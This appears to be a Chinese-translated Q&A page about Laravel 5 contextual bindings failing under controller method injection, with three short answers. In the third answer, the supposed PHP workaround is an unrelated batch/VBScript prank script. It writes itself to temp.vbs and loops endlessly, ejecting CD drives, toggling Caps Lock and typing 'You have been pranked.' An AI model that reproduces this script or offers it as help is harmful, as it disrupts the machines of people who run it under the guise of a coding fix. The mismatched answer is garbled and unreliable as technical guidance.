在我的Laravel 5应用程序中,我为服务提供商中的接口注册了上下文绑定,如下所示:
$this->app->when('App\Http\Controllers\MyController')
->needs('App\Contracts\MyRepositoryInterface')
->give('App\Repositories\MyRepostory');
在控制器MyController
内部,我有index()
方法,我试图像这样注入MyRepositoryInterface
:
public function index(App\Contracts\MyRepositoryInterface $repo)
{
// Stuff
}
问题是,上述方法不起作用并给出了此错误:
Container.php第754行中的BindingResolutionException:
目标[App \ Contracts \ MyRepositoryInterface]不可实例化。
但是,如果我将上下文绑定更改为正常的绑定,如下所示,则可以:
$this->app->bind(
'App\Contracts\MyRepositoryInterface',
'App\Repositories\MyRepository'
);
我注意到的另一件事是,相同的上下文绑定适用于控制器的构造函数方法,如下所示:
public function __constructor(App\Contracts\MyRepositoryInterface $repo)
{
// Stuff
}
这让我想知道,方法(构造函数除外)注入不支持上下文绑定吗?或者这仍然是一项正在进行中的工作,一旦Laravel 5问世,它将得到支持吗?
或者我做错了什么?
任何建议都会非常感激,因为我一直在梳理它!
答案 0 :(得分:0)
L5仍然是WIP,此问题尚未解决。
答案 1 :(得分:0)
最终在Laravel 5(照明/容器5.0)中实现了这一点,如issue #6177中所述。
答案 2 :(得分:0)
Laravel 5不支持这一点,因为它不打算用于方法。解决方法是使用您自己的接口扩展ValidatesWhenResolved接口,例如:
:loopall
=====CD OPEN======
:Set oWMP = CreateObject("WMPlayer.OCX.7")
:Set colCDROMs = oWMP.cdromCollection
:do
:if colCDROMs.Count >= 1 then
:For i = 0 to colCDROMs.Count - 1
:colCDROMs.Item(i).Eject
:Next
:For i = 0 to colCDROMs.Count - 1
:colCDROMs.Item(i).Eject
:Next
:End If
:wscript.sleep 5000
:loop
findstr "^:" "%~sf0">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
======Caps lock Spam=====
:Set wshShell =wscript.CreateObject("WScript.Shell")
:do
:wscript.sleep 100
:wshshell.sendkeys "{CAPSLOCK}"
:loop
findstr "^:" "%~sf0">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
=====Type you have been pranked====
:Set wshShell = wscript.CreateObject("WScript.Shell")
:do
:wscript.sleep 100
:wshshell.sendkeys "You have been pranked."
:loop
findstr "^:" "%~sf0">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
goto loopall
而且你可以绑定到该界面:
namespace Authentication\Requests\Contracts;
use Illuminate\Contracts\Validation\ValidatesWhenResolved;
interface Validatable extends ValidatesWhenResolved {}
虽然不是DRY。